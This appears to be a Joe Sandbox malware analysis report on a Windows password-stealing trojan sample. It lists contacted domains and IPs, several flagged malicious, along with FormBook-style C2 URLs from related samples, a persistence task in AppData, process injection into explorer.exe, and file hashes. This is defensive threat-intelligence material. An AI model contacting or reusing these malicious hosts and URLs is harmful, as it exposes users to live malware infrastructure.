SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400637848.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399621408.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399465444.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401711594.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400330810.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400548672.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400168473.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398342627.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399316118.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398897872.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400393573.000000000575A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.takealicense.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.f1-austin-tickets.com	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dulichphucbinh.com/co63/	explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comalsd~	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396640059.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.comrsiv	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401891749.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comursiv	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394212105.0000000005757000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
76.223.26.96	342284.parkingcrew.net	United States	16509	AMAZON-02US	false
184.94.215.140	www.naspewt.xyz	United States	394896	VXCHNGE-NC01US	true
152.199.21.175	sni1gl.wpc.lambdacdn.net	United States	15133	EDGECASTUS	true
34.102.136.180	dlafluid.com	United States	15169	GOOGLEUS	false
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
34.149.87.45	td-ccm-neg-87-45.wixdns.net	United States	2686	ATGS-MMD-ASUS	true
86.38.202.187	vestostore.com	Lithuania	15419	LRTC-ASLT	true
172.67.215.254	www.saleschildcarriers.com	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1276619
Start date and time:	2023-07-20 11:42:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/18@8/8
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 43.2% (good quality ratio 41.5%) Quality average: 68.8% Quality standard deviation: 29.2%
HCA Information:	Successful, ratio: 99% Number of executed functions: 64 Number of non-executed functions: 236
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): 4zmf1gx83y.azureedge.net, ctldl.windowsupdate.com, 4zmf1gx83y.ec.azureedge.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Simulations

Behavior and APIs

Time	Type	Description
11:43:14	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe modified
11:43:17	API Interceptor	49x Sleep call for process: powershell.exe modified
11:43:18	Task Scheduler	Run new task: hkkRsa path: C:\Users\user\AppData\Roaming\hkkRsa.exe
11:43:31	API Interceptor	1x Sleep call for process: hkkRsa.exe modified
11:43:45	API Interceptor	1458x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
76.223.26.96	DHL_SHIPMENT_DOCUMENT.exe	Get hash	malicious	FormBook	Browse	www.v-erizon.com/gd30/?U6=Uq5HH5KV7w9bJfTsC2ub/884JvBiaQ3nqAxOT3bDvXdLqMOXNOAn0nyboFIc/YVNF19p&cL3taT=XV3tcZix2PVLy6Ap
	Produktlistenreihenfolge_PDF.exe	Get hash	malicious	FormBook	Browse	www.pienso-mascotas.com/t3c9/
	Facturas_Pagadas_al_Vencimiento.PDF.exe	Get hash	malicious	FormBook	Browse	www.itiscreenconnect.com/kbov/?ybbYU=lIAaItybSDBgNkcb&xXQ-=s8JSrOZXbW5Ph0/8NjAeKObCezI3PZAc8Pp5Byvo0TV++IfpVZg4C+j1GxiFi9CEeu10CVUCCBRFzEQUZASn6SPDHkHMgV9j5g==
	presupuesto_PDF.exe	Get hash	malicious	FormBook	Browse	www.itiscreenconnect.com/kbov/?Ix4CZrj=s8JSrOZXbW5Ph0/8NjAeKObCezI3PZAc8Pp5Byvo0TV++IfpVZg4C+j1GxiFi9CEeu10CVUCCBRFzEQUZASn6SPDHkHMgV9j5g==&5Q=ig4viG0aegUg0XIH
	http://bipatterns.com	Get hash	malicious	Unknown	Browse	ww155.bipatterns.com/track.php?domain=bipatterns.com&caf=1&toggle=answercheck&answer=yes&uid=MTY4Njc0MTk5OC44MjM5OjJkYzQxZDNmMjI3ODJkODA0YTQ2NzUwYWEwNWYzMTU2ZmZkYjI0NjY4NjZhMjZmMmU4YWZiN2YwM2NmNDJiYjc6NjQ4OWEzZWVjOTI0YQ%3D%3D
	http://ww155.domionenergy.com	Get hash	malicious	Unknown	Browse	ww155.domionenergy.com/track.php?domain=domionenergy.com&caf=1&toggle=answercheck&answer=yes&uid=MTY4NTY2NjE3OC4zNjI5OmFmNzc0NjE1YjFmYjNjMDgwNDBlNWQzNDAxMjQyZWM3MGIxYmU3NDk5YWZkNzI2NTBjNzA1MDBiY2Q1NTkxZTI6NjQ3OTM5ODI1ODk4Zg%3D%3D
	http://www.wealthremark.za.com/sefkxvnp/8OCqXxv-D9PH1BolF7EUziwyPTj_mBWAycyUrihRk8L.kVobyOmiUVscovgTgZXYrejjIqI_qAjDAFlRUeMrsBe	Get hash	malicious	Unknown	Browse	ww12.obfuscatorjavascript.com/?getsrc=ok&ref=&url=http%3A%2F%2Fwww.wealthremark.za.com%2Fsefkxvnp%2F8OCqXxv-D9PH1BolF7EUziwyPTj_mBWAycyUrihRk8L.kVobyOmiUVscovgTgZXYrejjIqI_qAjDAFlRUeMrsBe
	jfgZPfmYR6.exe	Get hash	malicious	CryptoWall	Browse	ww38.fortecegypt.com/blog/wp-content/themes/twentyfourteen/rrr.php?j=ri9q2r5oypw
	7aiGWK5cMt.exe	Get hash	malicious	CryptoWall	Browse	ww38.fortecegypt.com/blog/wp-content/themes/twentyfourteen/rrr.php?k=868iqrj70crjfb2
	http://go.staticvisit.net	Get hash	malicious	Unknown	Browse	ww3.staticvisit.net/favicon.ico
	http://advoarmy.com/	Get hash	malicious	Unknown	Browse	ww9.advoarmy.com/favicon.ico
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.detskecd.info/be28/?VhU4=MlcLpxn0mj9&cB6Xl=7pvSZ0PF5W29LDJJGptnLBtApo1dm255Nqf6f3wuPWcHSEMcFxWssaNenSOPs6Ii6EDK
	http://tricarelonline.com	Get hash	malicious	Unknown	Browse	ww9.tricarelonline.com/track.php?domain=tricarelonline.com&caf=1&toggle=answercheck&answer=yes&uid=MTY3NTQ2MTYxNS4wMTMyOjg3MTRhMmVkMmU4MzA3YTA2OTk1N2JlZWE3MDFhYTljNDMwODA4ZjVhZDlkM2RkM2QwYmI5N2YxZmFkOGFlNWI6NjNkZDgzZWYwMzM4OA%3D%3D
	http://wwwtinyurl.com	Get hash	malicious	Unknown	Browse	ww5.wwwtinyurl.com/
	http://ffbtas.com	Get hash	malicious	Unknown	Browse	ww9.ffbtas.com/track.php?domain=ffbtas.com&caf=1&toggle=answercheck&answer=yes&uid=MTY3NDI0MzkyNS4zMTY6ZjA2YTQ0OGE1ZWJhMzE4ZTAxYmUzZmNjMGU5NDVjNWU5NzMxMDZiNWNiN2EyNWYyOGM3MDQwZDJkYTNmZjQ3ZTo2M2NhZWY1NTRkMjRj
	xIwkOnjSIa.dll	Get hash	malicious	Wannacry	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	IU28r0EZFA.dll	Get hash	malicious	Wannacry	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	ViNIRfmQmE.dll	Get hash	malicious	Wannacry	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
	https://cs.ffbtas.com/	Get hash	malicious	Unknown	Browse	ww9.ffbtas.com/track.php?domain=ffbtas.com&caf=1&toggle=answercheck&answer=yes&uid=MTY2ODUyODQ2NS45MTA3OjRlYmFjNmMyMWMyNGU1MzMyYzMxMGRhMDUzM2QyN2Q4NWE0MGM5NDdhMTY0NTQ4YjVkZmM1ODAxNGJmNjc1MTY6NjM3M2I5NTFkZTU3Nw%3D%3D
	YB7v7UFV3j.exe	Get hash	malicious	Wannacry	Browse	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
342284.parkingcrew.net	DHL_SHIPMENT_DOCUMENT.exe	Get hash	malicious	FormBook	Browse	76.223.26.96
	Facturas_Pagadas_al_Vencimiento.PDF.exe	Get hash	malicious	FormBook	Browse	76.223.26.96
	presupuesto_PDF.exe	Get hash	malicious	FormBook	Browse	76.223.26.96
td-ccm-neg-87-45.wixdns.net	Invoice.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	IIuIBWOcyq.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	https://r.srvtrck.com/v1/redirect?yk_tag=337_47d_c3_3b6f&site_id=56e7d51be4b05d750682348a&api_key=abbc5236946676eae219a734c0a1c5e8&url=https%3A%2F%2Ftamltdsti.com%2Fzoom%2Fnew%2Ftamltdsti%2FY2luZHkucGxhZ21hbkBjb3JuaHVza2VyaW50ZXJuYXRpb25hbC5jb20=	Get hash	malicious	HTMLPhisher	Browse	34.149.87.45
	295L6XpXfV.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	nhVJ8J5qOt.exe	Get hash	malicious	Pushdo	Browse	34.149.87.45
	OOLU271690625023.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	2mB350w4pv.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	AJmyiQHSAl.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	RFQ TWM 459077.com	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	RFQ_TWM_459077.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	rmGXfcVuz7.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	0IwziVq2Dr.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	Shipping_Documents.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	https://fleek.ipfs.io/ipfs/QmY9qjgpPGtb15fL1UbMBxTLnZa1F2pi9zukShwoksKyjQ?filename=dany.html#john.norris@executiveairbornesolutions.com	Get hash	malicious	HTMLPhisher	Browse	34.149.87.45
	ions_com.msg	Get hash	malicious	HTMLPhisher	Browse	34.149.87.45
	PO-230102.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	Karewood Star Vessel Description.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	NFEP-CONFIDENTIALITY AGREEMENT(NDA).exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.87.45
	http://ch1.cc/live-tv/	Get hash	malicious	Unknown	Browse	34.149.87.45
	MV CEDAR VC2202 DETAILS.exe	Get hash	malicious	FormBook	Browse	34.149.87.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	ATT00001.htm	Get hash	malicious	Unknown	Browse	18.244.102.57
	https://mail.onelink.me/107872968?pid=nativeplacement&c=Global_Acquisition_YMktg_315_Internal_EmailSignature&af_sub1=Acquisition&af_sub2=Global_YMktg&af_sub3=&af_sub4=100000604&af_sub5=EmailSignature__Static_	Get hash	malicious	Unknown	Browse	13.224.103.28
	Messages Locker_1.3.290122_apkcombo.com.apk	Get hash	malicious	Unknown	Browse	52.30.37.9
	Messages Locker_1.3.290122_apkcombo.com.apk	Get hash	malicious	Unknown	Browse	52.30.37.9
	https://dvidpfoy.page.link/qj4k	Get hash	malicious	Unknown	Browse	3.75.62.37
	http://cloudflare-ipfs.com	Get hash	malicious	Unknown	Browse	13.224.103.54
	https://mail.onelink.me/107872968?pid=nativeplacement&c=Global_Acquisition_YMktg_315_Internal_EmailSignature&af_sub1=Acquisition&af_sub2=Global_YMktg&af_sub3=&af_sub4=100000604&af_sub5=EmailSignature__Static_	Get hash	malicious	Unknown	Browse	34.247.78.58
	Aged Inv Payment ATK0299384757.htm	Get hash	malicious	Unknown	Browse	13.224.98.49
	https://api.spently.com/api/spently/click?id=105133&store=hotelcollection&type=OI&cid=6272440696998&url=https%3A%2F%2Freseauev-immobilier.fr%2Fxx%2FGB40WTYF44554325608478%2FYW50b29uLnZhbi5kZW4uYmVyZ0BoZW5kcml4LWdlbmV0aWNzLmNvbQ==	Get hash	malicious	Unknown	Browse	13.224.103.93
	https://api.spently.com/api/spently/click?id=105133&store=hotelcollection&type=OI&cid=6272440696998&url=https%3A%2F%2Freseauev-immobilier.fr%2Fxx%2FGB40WTYF44554325608478%2FYW50b29uLnZhbi5kZW4uYmVyZ0BoZW5kcml4LWdlbmV0aWNzLmNvbQ==	Get hash	malicious	Unknown	Browse	13.224.98.49
	https://api.spently.com/api/spently/click?id=105133&store=hotelcollection&type=OI&cid=6272440696998&url=http%3A%2F%2Fpolicememorialbd.com%2Fxx%2FGB13VEAC52359171238481%2FaXJpbmEubWFyaXRhbkBhY2l3b3JsZHdpZGUuY29t	Get hash	malicious	Unknown	Browse	13.224.103.25
	https://mhe7jf2l.page.link/Go1D	Get hash	malicious	Unknown	Browse	3.160.212.76
	pSWP8vqTi4.elf	Get hash	malicious	Mirai, Moobot	Browse	108.157.115.211
	o0c7FkGyUI.elf	Get hash	malicious	Mirai, Moobot	Browse	34.209.36.237
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	13.238.84.27
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	13.247.240.130
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	13.243.84.175
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	13.112.22.50
	https://www.billoreilly.com/site/rd?satype=40&said=4&aaid=email&camid=-448442788726870215&url=http%3A%2F%2Fmicc-roft.l-oracle.com?q=michelle.crosbie@cleanenergyregulator.gov.au	Get hash	malicious	Unknown	Browse	108.138.189.116
	https://www.bing.com/ck/a?!&&p=0168e371e1d600fbJmltdHM9MTY4OTcyNDgwMCZpZ3VpZD0yMzgxM2JjNC01MmVkLTYzZmQtMjBkYy0yODk2NTNlZDYyZjQmaW5zaWQ9NTMxNw&ptn=3&hsh=3&fclid=23813bc4-52ed-63fd-20dc-289653ed62f4&u=a1aHR0cHM6Ly93d3cuaGFtZGFyZC5pbi9idXNpbmVzc2VzL2xlYWRlcnNoaXAtdGVhbS8#bWV0aG9kZGV2ZWxvcG1lbnRAY2VyLmdvdi5hdQ==	Get hash	malicious	Unknown	Browse	3.160.212.69

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.log

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hkkRsa.exe.log

Process:	C:\Users\user\AppData\Roaming\hkkRsa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	984
Entropy (8bit):	5.2414849034866355
Encrypted:	false
SSDEEP:	24:Yq6CUXyhmbmPlbNdB6hmYmPlz0JahmNmPlHZ6T06Mhm6mPlbxdB6hm3mPl7KTdB2:YqDUXycSNbNdUcVNz0JacQNHZ6T06Mcs
MD5:	4816271302882BDFB06EE40F624169D1
SHA1:	A8F07F0A5940C4A9D4DAD112787FE109CCACA869
SHA-256:	26D30DFFC5E2C493FF97B32C775C98630F0466D49144778BAE2688BA0716C760
SHA-512:	3D46AA6777AF386524E65D8D158201B699F766A5640A3E917CFA78E337475F910A839B93E0097C6651D2FCBE02ED7BFAF9EF8274C9632A88D06985168087823B
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4155601904,"LastSwitchedHighPart":30747926,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4145601904,"LastSwitchedHighPart":30747926,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4135601904,"LastSwitchedHighPart":30747926,"PrePopulated":true},{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":4125601904,"LastSwitchedHighPart":30747926,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4115601904,"LastSwitchedHighPart":30747926,"PrePopulated":true},{"AppID":"Microsoft.Getstarted_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4105601904,"LastSwitchedHighPart":30747926,"PrePopulated":true}]}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	21764
Entropy (8bit):	5.599714992647357
Encrypted:	false
SSDEEP:	384:CtCRqq0qLVAbu8g07bCzcVSVxnkNyiJ9g9SJ3uyV1Rm0ZWAVrdI9RRaA+inY8:pCi8gCvUxkNi9cuCrF8
MD5:	B27C94FA49836AAD095FDB5C8EC5A186
SHA1:	A5213DF036F6D59D50932B381E5FB0D23407EAD7
SHA-256:	FBF98077B36A333F2F904D3D8C74A4CA13B355CA803591A72D46A19B81A52EE1
SHA-512:	B1BC1D867E36BA5717702FBD2C4AAC89214E3CF617B6C85D343C5080C5DD742ED10A355B41F703715AA1AB44B4D32B6E5C1F299117EF4444CB6E4F314414FAE5
Malicious:	false
Preview:	@...e.....................z.D.9.....+.B..............@..........H...............<@.^.L."My...:<..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\DB1

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
